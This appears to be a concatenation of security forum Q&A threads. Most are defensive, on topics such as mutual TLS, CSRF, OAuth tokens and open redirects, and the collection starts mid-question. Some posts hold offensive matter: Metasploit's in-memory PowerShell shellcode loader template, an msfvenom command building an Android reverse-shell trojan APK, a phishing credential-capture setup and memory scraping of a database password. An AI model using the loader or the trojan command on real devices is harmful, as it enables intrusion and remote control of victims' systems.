The question is, what are some ways the employee can use forensics to try to discover an adversary presence that will have likely existed since well before his appointment? Will the employee ever be able to do say with confidence that the network is clear of intruders, even after extensive and thorough forensic investigation?

Sorry for the lengthy explanation, just wanted to give details to help potential respondents understand the high level of probability that there is someone in already. Any words of wisdom appreciated.

If the network experiences heavy loads at off times, i.e. in the middle of the night when no one is in the office. You can see the packets on your network with some firewalls and tools like Wireshark.


client_id vs distinguished name in mutual tls i am reading this in the OAuth 2.0 Mutual-TLS Client Authentication and Certificate-Bound Access Tokens
What is the difference between a client_id and a distinguished name? I see in the PKI Mutual-TLS Method that the distinguished name of the client is registered into the auth server. What is the purpose of the client_id?
Also what exactly the meaning of the metadata? For example, the following is an action of the client to inform the server about the distinguished name or is the way that the auth server registers the distinguished name?
 tls_client_auth_subject_dn
      A string representation -- as defined in [RFC4514] -- of the
      expected subject distinguished name of the certificate that the
      OAuth client will use in mutual-TLS authentication.

Client Identifier
The client identifier (client_id) is a string chosen by the authorization server (AS) during the client registration, as defined in the OAuth 2.0 RFC.

2.2.  Client Identifier
The authorization server issues the registered client a client
identifier -- a unique string representing the registration
information provided by the client.  The client identifier is not a
secret [...] The client identifier is unique to
the authorization server.

If the client wants to authenticate at the AS, the client uses his client_id to tell the AS which specific client is going to communicate with him.

Distinguished Name
The distinguished name is part of the X.509 PKI Certificate Specification:

4.1.2.4.  Issuer
The issuer field identifies the entity that has signed and issued the
certificate. The issuer field MUST contain a non-empty distinguished
name (DN). [...] distinguished names are composed of attributes.
4.1.2.6.  Subject
[...] the subject field MUST contain an X.500
distinguished name (DN).  The DN MUST be unique for each subject
entity certified by the one CA as defined by the issuer field.

So the issuer of a X.509 certificate writes his distinguished name inside the certificates he issues, as well as the distinguished name of the subject he issues a certificate for. A DN consists of multiple elements, e.g. country and organisation. For StackExchanges certificate, the issuers DN consists of US and Let's Encrypt, while the subjects DN consist of multiple Subject Alt Names, that are DNS names.

PKI Methode of mTLS OAuth 2.0 Client Authentication
In OAuth mTLS, the AS uses the client_id to look up the clients configuration and expected credential, as explained in Section 2:

For all requests to the authorization server utilizing mutual-TLS
client authentication, the client MUST include the "client_id"
parameter [...] the "client_id" parameter enables the authorization
server to easily identify the client independently from the content
of the certificate. The authorization server can locate the client
configuration using the client identifier and check the certificate
presented in the TLS handshake against the expected credentials for
that client.

In contrast to the Self-Signed Certificate Method of authenticating the client, the distinguished name is only used in the PKI Methode, where it is used to identify the client in a verified way:

PKI Mutual-TLS Method relies on a validated
certificate chain [RFC5280] and a single subject distinguished name
(DN) or a single subject alternative name (SAN) to authenticate the
client.

During the OAuth Dynamic Client Registration, a client registrates at the AS. During this process, the client sends metadata, that is stored by the AS and later used during the client authentication. So the tls_client_auth_subject_dn is an information, a string, the client sends to the AS during registration. It is thus not an action. It is the piece of information the AS will use at a later attempt of the client to authenticate to identify the X.509 certificate and to verify the certificate belongs to the client, as written in Section 2.1.2:

A client using the [...] MUST use exactly one of the
[...] metadata parameters to indicate the certificate subject value
that the authorization server is to expect when authenticating the
respective client.


Social Engineering Attack awareness using .doc and spoofed email Need advise for our company experiment. We are planning to observe the security awareness among our staff. I have an idea but lacking of knowledge on how to do it. I want to create spoofed email and send one .doc file inside the email. That .doc file will return the IP address if our staff click to open the file. From this we can see in our company how many users are not aware with security threat and we will educate them later on. Because we are using firewall, can it be done from external IP as well?  Your help and idea are really appreciated.

It sounds like what you're attempting to do is a phishing campaign on your company network. While you have a good idea with the .doc file, the implementation would be way too messy. You could do this with Macros, but there will be a ton of pop ups asking the user to enable macros and confirm that its dangerous etc. Ultimately, I think most of the employees would get scared off by it. You could dig a little deeper and use msfvenom to embed malware in a file, but now you're physically exploiting the machine of every user in the company who clicks on it which is also a bad idea. If you have any company resources that require login with company credentials, I would recommend sending out a verbatim copy of an email that would be generated by that service requesting action by the user by clicking on a link (make sure the link is not from the company url otherwise they will trust it and defeats the purpose of making them look before clicking). Have the URL redirect to a web server (could probably do this internally with DNS without buying the domain) displaying a copy of a login page they are familiar with, and then redirect to a "You've been caught" page. Based on the login info, you can determine who was caught.

In the interest of security, I recommend NOT logging any of the passwords on the web server and including a snippet in the "You've been caught" page instructing them to change their password immediately. Best practice would be to ensure the web form doesn't even send the password or replaces it with random text before sending over the network.

To address your firewall question, I would advise not doing any part of this outside the company network if at all possible. That would increase the chances of information being intercepted by malicious actors. In the event any of this traffic does go out network, that will depend on the ACLs but most HTTP traffic is not very restricted.

Most importantly, make sure to hold a meeting after the fishing campaign so that you can explain to the employees what happened, how to look out for it, and what to do if it happens again.

Edit 1:

If you are concerned about deceiving users that are using their machine out of network, I would recommend using a registered domain name with TLS directed to a webserver owned by your company and hosted on the company domain. By default, the ACLs will probably not allow for HTTP traffic to just any machine from the internet. If the webserver is in a datacenter, it could be more likely. You will have to work with the NetOps, team or whoever is in charge of the network ACLs to confirm this.


Functions in common server-side languages which are used to execute code I want to know the list of functions which are used to evaluate strings to code. For example: in PHP we have the eval function which evaluates a string to PHP code. Input passed into eval without filtering could be used as remote code execution by a user/attacker.

So I'd like suggestions for additions of such functions to compile a list of commonly-used server-side programming languages? (Java, Python, PHP and Rails for a start)

Basically my use case is to do white box testing on different platforms, and I want to make sure that I am not missing any functions that could cause code execution on server side.

Minor ranting

This is a bit broad, and there may be some that are unknown at present, but there's usually good references out there if you're willing to search for them.

Code execution isn't the only problem. You want to be careful of things that can lead to code execution.

However, and as always, it's important to study these functions to see what they're capable of, rather than just blanket-rejecting them as a vulnerability - especially when there are often legitimate uses for them.

As a penetration tester, your job is to prove there is a vulnerability by creating a Proof of Concept, unless it's glaringly obvious, such as a SQL injection.

Give me the list of all of them!

You want to list all of them? Well, I'm not sure we have such a list... but how about many of them?

PHP - Exploitable PHP Functions
Java - Exploitable Java Functions
Python - Exploitable Python Functions
Ruby on Rails Cheat Sheet


Will the result of HTTPS and SSH encryption of the same data be identical for two separate requests? If I was to request an image over HTTPS and record the packets over WireShark and then inspect a peer's Wireshark and look for the same packets, would I be able to see if they requested the same file, whether it's at the same host or a different one?

No.

The session key under which the data is actually encrypted is derived randomly.


What privacy methods exist for P2P transfers? I love my VPN, it gives me to a certain extent privacy from isp & to what I connect.

I also use P2P to get & provide data, but I would like to create a level of privacy. What methods exist for P2P anonymity and privacy?

Well the only way to anonymize  your P2P is to use an overlay network. So this means using proxies/VPN's/Tor like networks.

Another option would be to use a server that is not registered in your name and that doesn't log anything.

There are also options where it is hard to get onto the P2P network. You can only get  onto their network when you are invited and trusted. These networks are called Private Trackers. It's not 100% anonymous, but more based on web of trust.


Performing an airport scan on my Mac for available WiFi networks pulls up multiple SSID with different mac address. What's going on? I performed the following command to search for available WiFi networks in my apartment complex:

/System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport scan | grep OBC

I grep'd the OBC network because there should be 3, accurately labeled 1, 2, and 3. However, when I performed this command, I received the following output:

OBC Wifi 3 c2:9f:db:f3:ef:d8 -74  11      Y  -- WPA(PSK/AES,TKIP/TKIP) WPA2(PSK/AES,TKIP/TKIP)
OBC Wifi 1 c6:9f:db:f3:ef:d8 -74  11      Y  -- WPA(PSK/AES,TKIP/TKIP) WPA2(PSK/AES,TKIP/TKIP)
OBC Wifi 2 ca:9f:db:f3:ef:d8 -75  11      Y  -- WPA(PSK/AES,TKIP/TKIP) WPA2(PSK/AES,TKIP/TKIP)
OBC Wifi 1 c2:9f:db:f5:62:66 -70  1       Y  -- WPA(PSK/AES,TKIP/TKIP) WPA2(PSK/AES,TKIP/TKIP)
OBC Wifi 2 c2:9f:db:f5:67:f4 -50  11      Y  -- WPA(PSK/AES,TKIP/TKIP) WPA2(PSK/AES,TKIP/TKIP)

A little backstory may be important here. First of all, these 3 WAPs are Ubiquiti Unify APs and are numbered according to the LAN they occupy. Therefore, there are 3 separate networks and each has a WAP that is associated with it. These WAPs are addressed as follows:

OBC Wifi 1 = DC:9F:DB:F4:62:66
OBC Wifi 2 = DC:9F:DB:F4:67:F4
OBC Wifi 3 = DC:9F:DB:F2:EF:D8

Note that the SSIDs that came up are very similar to Ubiquiti mac addresses and also very similar to each other. Also note that when I go into the router and look at the DHCP table, I see nothing relating to these mac addresses OR the IPs that have been designated for the WAPs. One last thing to note is that these WAPs (as well as the routers) are all physically located in 3 different places (so 6 different places total). The routers are in 3 different outbuildings and the WAPs are equidistant from each other.

So the question is, have these 3 networks or WAPs been compromised or is something just screwy with the WAP configurations? These used to work perfectly and I've never seen scan results like these. Suggestions? Comments? Thanks!

Ubiquiti APs use generated MAC addresses for the bridge interface (bridging wireless to ethernet). So, you'll often see similar MACs (but not quite the same). A single AP has two MACs in the configuration I often see.


Why would I ever not want CSRF protection? While I can see some of the overheads of CSRF protection (generation of token, validation of token, extra work to implement), I can't see any reason why you would ever not want it.

Is there ever a case where CSRF protection is something that should NOT be used? I'm not talking about cases where it's unnecessary, such as actions with no side effects, but cases where its use is actually a bad idea.

Actually, there may be a use case, but it is a little contrived and depends on
how the CSRF token is generated.

In many cases, the CSRF token is just a random token which is tied to the
session and is not related to any level of authentication. When the client
requests a page containing a web form, the form has the token embedded in it as
a hidden field. When the client posts the form data, the server verifies the
token is the same as the one it sent and can be fairly confident the response is
from the same client it sent the form to. All good.

However, this work flow is less convenient in the context of a web API where the
initial contact with the server is from a client who is posting some data (often
in the form of some JSON). In this case, the server has not been able to send a
token. Normally, a web api would have some other sort of verification - for
example, you use JWT, the client app will make an initial connection to the
server where it performs some authentication and gets a JWT which it uses in all
future API calls.

Often, this is not an issue as you will have separation of concerns. There will
be a set of URLs used by a web client which follows the normal request a form
then submit the data work flow and a separate API URLs which use something like
JWT. There is no need for a CSRF token.

The problem can be when you have vary similar requirements for both. You really
don't want to have to maintain two separate sets of handlers and would prefer to
just have the one which can be used by a traditional web client and also as an
API client. In both cases, a token is used, but they are different in nature.

I did say this was contrived. In reality, I've only come across this sort of
issue when developing a new service where I wanted a web client interface as
well as the API just for development/debugging purposes. In this case, what I
have done is have some javascript in the browser based version which does an
initial authentication with the server and gets the JWT which it copies into the
web form as just another value. However, I can imagine a situation where you
want to support a general web browser based 'traditional' interface and a
application which uses HTTP/HTTPS for communication via an API.

To some extent, this is really just semantics. The basic concept of providing a
token in web forms to protect against CSRF is not vary different from an API
which is using a token for authn/authz purposes. The only real difference is
that the CSRF token usually doesn't imply anything more than the fact the
response is from the same client the initial form data was sent to while the API
token is making assertions about the actual user. Technically, there is no
reason the latter cannot be used for the former, provided the server can handle
that. The former cannot be used for the latter.


Simple tools for searching process memory for MSSQL connection strings I'm working with a piece of software that handles all permissions in a Windows client binary on the user's computer. The software connects to a backend database using the sa account. The sa password is stored encrypted in a config file on the client, but the client obviously must decrypt it before authenticating with the database.

I've been able to recover the sa password in various ways including using a debugger, searching a memory dump, and searching memory directly with WinHex. I'm curious if there are tools or malware out there that would make this vulnerability even more easily exploitable. The password is stored in memory as a MSSQL connection string the entire time the client process is active.

Is there malware that is known to search memory for connection strings in order to exploit this sort of vulnerability? Are there tools that a user could download that would do this automatically, or is there a decent amount of technical knowledge required in order to exploit this?

You have demonstrated one of the downsides of using SQL Server Authentication as opposed to Windows Authentication. This is why Microsoft recommends using Windows Authentication unless you have a good reason not to. Here is a description of the pros and cons of each. Notably:

The encrypted SQL Server Authentication login password, must be passed over the network at the time of the connection. Some applications that connect automatically will store the password at the client. These are additional attack points.

Here is another Microsoft article which talks about how to secure SQL Server connection strings for Entity Framework, but the same rules apply even if you aren't using EF. This statement reiterates why they recommend always using Windows Authentication:

Be aware that logon information and passwords may be visible in a memory dump.
When data source logon and password information is supplied in the connection string, this information is maintained in memory until garbage collection reclaims the resources. This makes it impossible to determine when a password string is no longer in memory. If an application crashes, a memory dump file may contain sensitive security information, and the user running the application and any user with administrative access to the computer can view the memory dump file. Use Windows Authentication for connections to Microsoft SQL Server.

As for whether or not any existing malware applications take advantage of this? Certainly we know that they can exist, and you have proven this yourself. All that is required is for an application to be run with enough permissions to view the memory of another application that stores passwords in memory. The tricky part is it's likely that you would need to know how the memory is laid out in order to take advantage of this. In other words you would probably need to know how the application works first, and then build your memory sniffer around it. Perhaps there are general keywords you could search for, but that would require quite a bit of luck. Kind of like searching the ocean floor for lost ships that might still have some treasures in them; at some point the cost/reward just doesn't make it worth it.
That being said, if you knew that a particular (popular) application had this sort of security flaw in it, you could attempt to design malware that is tailored to that application, and then target that application's users to try to convince them to install your malware on the same machine.


What is the different between "psh-reflection" and psh (msfvenom format)? In "Framework Executable Formats" in msfvenom i see some options (psh,psh-cmd,psh-net,psh-reflection)
in this article https://docs.rapid7.com/metasploit/the-payload-generator/ I see some explanation on the differences between psh and psh-cmd  but what is it is psh-reflection and where I can find an explanation on the rest, I didn't see any documentation on this (https://www.offensive-security.com/metasploit-unleashed/msfvenom/)

The psh-reflection payload is implemented by the to_win32pe_psh_reflection function in the rex-powershell module. If you take a look at the payload.rb file, you'll see the following code that builds the reflection payload:
  #
  # Reflection technique prevents the temporary .cs file being created for the .NET compiler
  # Tweaked by shellster
  # Originally from PowerSploit
  #
  def self.to_win32pe_psh_reflection(template_path = TEMPLATE_DIR, code)
    # Intialize rig and value names
    rig = Rex::RandomIdentifier::Generator.new(DEFAULT_RIG_OPTS)
    rig.init_var(:func_get_proc_address)
    rig.init_var(:func_get_delegate_type)
    rig.init_var(:var_code)
    rig.init_var(:var_module)
    rig.init_var(:var_procedure)
    rig.init_var(:var_unsafe_native_methods)
    rig.init_var(:var_parameters)
    rig.init_var(:var_return_type)
    rig.init_var(:var_type_builder)
    rig.init_var(:var_buffer)
    rig.init_var(:var_hthread)
    rig.init_var(:var_opf)

    hash_sub = rig.to_h
    hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)

    read_replace_script_template(template_path, "to_mem_pshreflection.ps1.template",hash_sub).gsub(/(?<!\r)\n/, "\r\n")
  end

This references a template Powershell file, which can be found here. It looks like this:
function %{func_get_proc_address} {
    Param ($%{var_module}, $%{var_procedure})
    $%{var_unsafe_native_methods} = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')

    return $%{var_unsafe_native_methods}.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($%{var_unsafe_native_methods}.GetMethod('GetModuleHandle')).Invoke($null, @($%{var_module})))), $%{var_procedure}))
}

function %{func_get_delegate_type} {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $%{var_parameters},
        [Parameter(Position = 1)] [Type] $%{var_return_type} = [Void]
    )

    $%{var_type_builder} = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $%{var_type_builder}.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
    $%{var_type_builder}.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $%{var_return_type}, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')

    return $%{var_type_builder}.CreateType()
}

[Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}")

$%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualAlloc), (%{func_get_delegate_type} @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $%{var_code}.Length,0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length)

$%{var_hthread} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll CreateThread), (%{func_get_delegate_type} @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$%{var_buffer},[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll WaitForSingleObject), (%{func_get_delegate_type} @([IntPtr], [Int32]))).Invoke($%{var_hthread},0xffffffff) | Out-Null

Putting this together, we can figure out what this payload type does. You provide some shellcode to execute, and it wraps it in a Powershell script. The script allocates some unmanaged memory, decodes the shellcode from base64, copies it into the allocated memory, then generates a dynamic assembly with a method that executes the payload.
A benefit of this method is that it doesn't need to drop any additional files when it executes. The dynamic assembly exists only in memory.


Command prompt netsat malware detection I suspect I have malware in my laptop. Can someone explain what is happening in that log? I'm using public WiFi.

Running netstat -b shows fields for current connections with info on:

Protocol: TCP or UDP, TCP is web traffic

Local Address: If it's 127.0.0.1, it's on your loopback interface (meaning how your computer talks to itself).  In this case, it looks like DESKTOP-D476NPG is your computer's name.  From the looks of it here, firefox plugins are using this and it appears legitimate.

When it's 10.100.170.103, it's your normal network interface.  The 10.x address indicates you have a local area network using the 10.x.x.x address space of RFC1918, and likely is running a DHCP server starting with an address of .100.  This indicates your computer is likely the third device on the network to connect to ethernet/wifi.

Foreign address: the remote server you're connecting to.  In this case, a lot of amazon servers, MSN, and other typical web traffic.

There is one connection going from 10.100.170.103 to 192.168.18.240, which indicates that you're likely on a LAN or a VPN connection with another local RFC1918 subnet.  This could also be the result of a misconfigured "double-NATing" setup where a local router has one IP range, and a wireless router has another.  In either case, the data shows this is from the Windows 10 update service attempting to serve peer-to-peer updates, as it's configured by default.

State:  Shows if the connection is established (meaning connected), or TIME_WAIT meaning has been finished.  SYN_RECEIVED means that the remote host has sent a TCP SYNchronize requesting a connection, but has not sent back the SYN-ACK acknowledging your host's ACKnowledgement of the connection request.

Consider other options

netstat -b is one basic way to see what connections your computer may be making, but is hard to read and depending on the interval may miss items.  A packet sniffer like WireShark, or better yet one attached to another network device like Snort or an intrusion detection system would be more effective.  Several AntiVirus vendors also sell a host-based intrusion detection system (HIDS) which constantly analyzes network traffic to determine if any is suspicious.


Should we store accesstoken in our database for oauth2? I have a requirement to implement Facebook and Google login in my web application. I also need to access a user's Facebook/Google+ friend list.
I have gone through the complete OAuth2 documentation of Facebook and Google. I understood the basic concept. For example, lets say for Facebook login the steps are:

The user will click on "FB Login" button.
The user will be asked to login to Facebook and allow permission. If user allows it will return an authorization code.
Now we will use the authorization code to get an access token.
We can store the access token in session to start a user session.
Now we can use the access token to access to different user resources.

Now I have some confusion after step 3. Should we generate access token each time the user logs in or store the access token in our DB?

If we store the access token in our DB, how we can reuse it when a user comes to our site after 10 days (let's say he cleared the browser cookies) and click on "FB Login" button again.  Because when user clicks the 'FB Login' button again he will get a new authorization code and have to start the complete process again.  How can I recognize that this user already has an access token in my DB?

Any help would be greatly appreciated.

Technically you can store the access token in your database, and use it for API calls until it expires. It might be more trouble than its worth, though.

For one thing, as Jonathan notes in his comment above, now you have to worry about securing your database and the data in it - these tokens give access to some fairly privileged information about your users. Of course, simply storing the token in session storage might put it on disk too, depending on your session configuration. Its a good idea to keep it encrypted while you're not using it.

Your proposed scenario about the user clearing cookies and coming back is also an issue. You could take the access token from the database and stick it back into their cookies, but before you do that, you have to make sure they are who they say they are - and now you have to do another layer of passwords just to give them access to the token they already gave you.

You're probably better off simply re-doing the authorization flow when they come back and click the login button again. Its not that expensive. But if that truly is a showstopper for you, then storing the token is an option. You'll just have to be really careful about working through all the associated issues.


Why does Assembly seem so important in IT security? As I watch a lot of tutorials,  read answers, and just in general interact with the IT security community I find that a high percentage of them know assembly. I'm wondering why this percentage is so much higher than everywhere else and why it is so important to know?

*Side note - I'd imagine it is very hard to understand what is happening when reading these. Moving variable around and such doesn't seem to give much of an idea of what's going on.

It allows you for one to understand what is happening at the lowest possible level of the operating system.  Second of all it allows you to change code at byte level which means you have a lot of control over the code. This is, for instance nescessary when exploiting buffer or stack overflows. When doing either attack you will essentially inject byte code directly into the memory and execute it. While you can technically generate this with another language, often it's not optimal and a lot more bulky than when you would write it in another language. Often what happens is that you first write the exploit in c and then generate the assembly from your c program. This is called prototyping. From here you can optimise the code and remove unwanted characters such as 0x00 bytes ( often these are used as a delimiter).

Also if you have a program you need to analyse but do not have the source code you will often need to decompile it. The result of the de compilation is assembly.

I think most security professionals have a why mentality while other IT professionals sometimes don't care as long as it works. Assembly allows you to explore the why at the lowest level possible. This is also a reason why a lot of security professionals like to know assembly.

Also note that there are programs to help you understand the decompiled assembly by identifying and vizualising system calls( have a look at my blog there is step through analysis of shell code).


Is it unsafe to redirect to the referer URL? Is it a problem when URLs in a web application redirect to the URL specified in the Referer header?

It's not an open redirect like any of the /whatever?url=evil.com examples I've seen, that can be exploited by having users click on a link to the legitimate application (or at least not as straightforward). This answer seems to indicate (toward the end) that referrers cannot be arbitrarily forged -- at least not without help from the user, in which case the redirect is probably not a problem.

MSA-15-0019 (related blog post) seems to be what I'm asking about, but it's not explained why it is a problem. As far as I understand it's more likely that the addition of the Referer URL to the button shown on the page resulted in a potential reflected XSS vulnerability.

Note that this is not about possible CSRF issues in any URL that doesn't show a response but instead is likely to act on input in some way; but specifically about the Location header redirect to the Referer URL. Is that a problem? If so, how/why?

If it matters, the application is written in Java, and the code I'm concerned about is basically equivalent to myHttpServletResponse.sendRedirect(myHttpServletRequest.getHeader("Referer")). Assuming nothing else of interest happens on the server as a result of this request, how can it be a problem?

You're creating an open redirect vulnerability but no XSS flaw. However, I can't think of a legitimate use case to issue a redirect back to the referring page in the first place. At very least you risk creating a redirect loop.
Note that in other contexts it can be dangerous to allow user-controlled URLs, especially because an attacker might take advantage of pseudo schemes such as data: and javascript: to achieve XSS. E.g., printing Click me is vulnerable even if you escape quotes and brackets.
But you don't risk that a pseudo scheme ends up in your Referer header because browsers never send them. Also, a header such as Location: javascript:alert(1) is considered invalid and has no effect in any major browser.
MDN also hints at that behavior but is less verbose:

A Referer header is not sent by browsers if:

the referring resource is a local "file" or "data" URI,

an unsecured HTTP request is used and the referring page was received with a secure protocol (HTTPS).

(Source)


Masking credit cards PAN with zeros The PCI-DSS only requires you to protect the PAN if you are storing more than the first six and last four digits. Can an all zero masks be used?  E.g. 4111 1100 0000 1234 to make it PCI compliant / not sensitve.

I see no problem with it from a compliance perspective. The traditional way is to use asterisks (*) or hashes (#) to block out the digits, but zeros should be fine too. The point is that you're meant to not display (i.e. hide) the real digits.

My only concern is that it could be confusing to a user that looked at the number, as it's ambiguous (from one data point) as to whether the card number legitimately had a zero as it's 7th or 12th digit, or whether that's just the mask. This isn't a compliance problem; it's just a case of a user potentially misunderstanding the use of zeroes.


What threats are associated with using Teamviewer? I was under the impression that Teamviewer is a safe form of remote control as:

all of its traffic is encrypted;
searching for Teamviewer exploits does not turn up anything.

But I recently heard it is often used to install malware. Is it possible for a hacker to use a modified version of Teamviewer that doesn't show you its activity in order to install malware? I say a modified version because I thought Teamviewer only redirects output/input, so the user will always see what the connected person is doing.

Obviously a person can copy over a virus and run it, but you would see this happening so I don't count this as a method.

"Obviously a person can copy over a virus and run it, but you would see this happening so I don't count this as a method."

Actually this is the method used most often with a malicious intent.

There is a scam, where you get a call from a "Microsoft"-technician. He tells you, that your computer is behaving strangely. In order to show the user, that he really is from Microsoft and can see your pc, he will tell the user the CLSID (which is the same on every windows pc) via assoc in the command line.

When the user installs Teamviewer for the "technician", he continues to show some other tricks like using "tree" or even "color c" to make you think, that your machine has a virus.
Usually he offers to install antivirus-software, clean the pc, etc.

Sometimes he doesnt even bother to help you clean the pc - instead he installs an encryption-trojan and locks you out of your pc, until you pay ransom.

Scammers try to scam a lot of people and often enough the less-techsavy / older people fall for this scam.

The older users see what the technician does, but are not able to understand it!

Therefore teamviewer is used for exactly this reason when a malicious person tries to install it.


AMD64 overflows and null bytes In the past, I have managed to overflow my own vulnerable programs, and those of others, but only ever in a 32bit environment. Every time I try even a simple stack smash on a 64bit machine, I run into issues. An address I am trying to write always contains null bytes.

A simple example from a problem yesterday; I was trying to overwrite the GOT to cause a later call to printf() to become a call to system() I had all the addresses I needed (ASLR off, DEP on).

I became stuck when I tried to overwrite a stackland pointer (high memory address) with a heapland (low memory address) value.

0x7fffffff_ff480a90 -> 0x00000000_0068a9a0

My overflow ended with \xa0\xa9\x68, which with the null terminator left the pointer looking like;

0x7fffffff_0068a9a0

Which was no good, I looked at this for hours and couldn't figure a way around it. Like I say I have run into this null byte problem many times. I always thought it was just one of those things, but it seems to make it completely impossible to hack a 64bit system, as the addresses so often contain null bytes.

Am I just unlucky? Am I missing something obvious? I haven't heard anyone talking about this issue in terms of 32 vs 64.

You might want to read this http://www.x86-64.org/documentation/abi.pdf

Essentially x86 and x64 are different in the way that they work. The new ABI describes the new ways in which it does with Leaf and Non Leaf calls, exception handling and unwinding.

Since the purpose is to essentially overflow - you need to understand the new ABI how its working and where stuff is  as its now in slightly different places to be able to "insert" and "alter".


What security has OSX and why it does or does not need antivirus Yes, I know it's a tricky question and a bit personal, but I really don't know much about the security that is in place by default in apple and I don't really know how secure it is and how it would improve by installing and antivirus in my mac.

This question is for a mid size company of ~100 employees and I am a developer, like the other 15 of us.

After an email thread in which I said I had no antivirus in my MAC, (I never did in any of my previous jobs) I got an answer from my CSO that I should install an antivirus A.S.A.P. and that I should take care of this issue.

He didn't recommend any software and he didn't say that I needed to have an antivirus because of anything specific. He said just that I needed to have one.

Is there any security practice that can be done in OSX, or is there any antivirus already installed within the system? I am trying to explain to him that the antivirus is not really needed in OSX, but I don't really know many arguments more than the typical it's a different file system than Windows (which is the company's standard)

What do you think about this case, would you install something? and if so, is there anything recommended?

Could you help me or him giving more arguments to why it's needed or not to have antivirus? Something more than just saying "We need one"?

Sorry for the personal and long question but I didn't find a similar question on the forum that is up to date

PS: Forgot to say the mac is mine (had to buy it cause they don't give anything other than windows).

The idea that "my OS doesn't need antivirus" is patently wrong.  I saw a presentation some time ago that said that something like 90% of viruses/malware are written for Windows.  That leaves around 10% for other platforms, such as Macintosh/Linux/Unix.  Granted that percentage is small relative to Windows, but the important thing to note is that it exists and that malware for those platforms exists.  I'd also note that the amount of malware written for the Mac platform is growing (CIO magazine)

Malware is also written for 3rd-party plugins, such as Flash and Java.  Those don't really care what OS you run.

I say this a lot: look at what happens if someone is wrong.  If your CSO is wrong and AV is not needed, they've wasted the company's money.  That's really all that has happened, and that's the CSO's problem.  However, if you're wrong, you have malware on your Macs and no easy way to detect and control it.  And when it somehow gets discovered, you're going to look foolish if not unemployed.

There are many antivirus vendors out there.  For larger enterprises, McAfee seems to be a popular security suite.  For 100 users, you probably don't need all the admin tools and other features that McAfee offers.  You can check out Tom's Guide or other sites to look at ratings for how effective antivirus suites are.

Do a quick Google search on "Wannacry on Mac" and you wind up with a lot of results.  I'd suggest reading the Intego and CIO articles, both of which support my main point - that Macs need protection.

I'm not an expert on securing Macintosh, so I'll leave that to folks who know more than I do about that particular subject.

Edit: Within an hour of posting this, a new thread on malware for Mac has appeared on this forum, which only further supports my point.


E2E encryption for web app - two passwords vs encrypting data with login pass and sending only hash to server Hello I am looking for some compromise with integrating E2E encryption for web app (basic FE and BE).
Basically I read about two concepts which are trully E2E encryption and not that much complicated.

Using two passwords, when one is for login and second is for encryption only used only locally on client device. Something like Protonmail used before.

-pros: secure, bulletproof?
-cons: too much hassle with having two passwords, risk that users will use same password

Using only one login password which is used also to encrypt data. To prevent server reading you send only hash of this password to server to verify identity. This is current Tutanota email service setup.

-pros: only one password, simple
-cons: resetting password would lead to data lost as those old data can't be decrypted?
Thank you

It's not clear what you are really asking.

From an usability point of view, requiring a single password is preferable.

More than "too much hassle" I would describe it as "users being confused". I wouldn't consider users using the same password for both fields as a failure in the schema. Plus, you could always make the app not allow using the same password in those two fields on registration.

On the other hand, from a security point of view, it's preferable to use two passwords completely unrelated.

First of all, note that in the use-same-password-scenario you clearly want to use different password derivations, so the two different operations cannot actually be linked (suppose that the first step of the local encryption started by hashing the password in the same way as for authentication, oops!). You could perhaps use two HMAC with different keys, or PBKDF2
Even then, having something that can be used to validate the data password could be considered a weak point. Suppose a dictionary attack, the attacker checks if it would be possible to use the login-algorithm to log in with the password "Password1". It succeeds. Then then attacker knows that Password1 using the encryption-algorithm would recover the data.
You mention as a con that resetting password would lead to data lost as those old data can't be decrypted. But that's already the case in the prior scenario. If the user loses the data encryption key, he won't be able to access his data.

An intermediate solution might be to provide both options. By default, use a single password for both actions, but let an advanced setting let the user set a second, different password, for encryption.

That way you could please those that wanted a separate encryption password while not bothering too much those users that would be confused / not benefit from it, such as your typical that would use Password1 and Password2.

Finally, I would like to question your premise that you want to use passwords.

What's your need for passwords? It would be more secure to use certificates. If the user registers using an application, it creates both secrets and handles them separately. In order to enroll a different client, a backup option produces two files (or a single file combining both secrets) with the relevant files.
A password might be "simpler" to backup (there is the chance that the user would remember it with no copies), but produces weaker security.
You mention that it is a "web app". If the user needs to authenticate every time on a web page, it may be simpler to introduce 1 or 2 passwords rather than uploading a password file. Webs are quite bad framework for E2E applications, though, since the attacker could provide a malicious web page that stole your data or encryption. In that sense, a native application would be preferable.


Metasploit creating .ZIP files instead of .APK files? I have been practicing using an old Android device and Kali Linux. I set up the trojan .apk file like normal, using the command

msfvenom -p android/meterpreter/reverse_tcp LHOST=MyIP LPORT=RandomPort R> /root/Android.apk

It created an .apk at first, but when the process finished, it gave me a .zip file with manifests and application signatures.

Is there something I am doing wrong when I am creating this file? Or is there a way to convert these .zip files to .apk files?

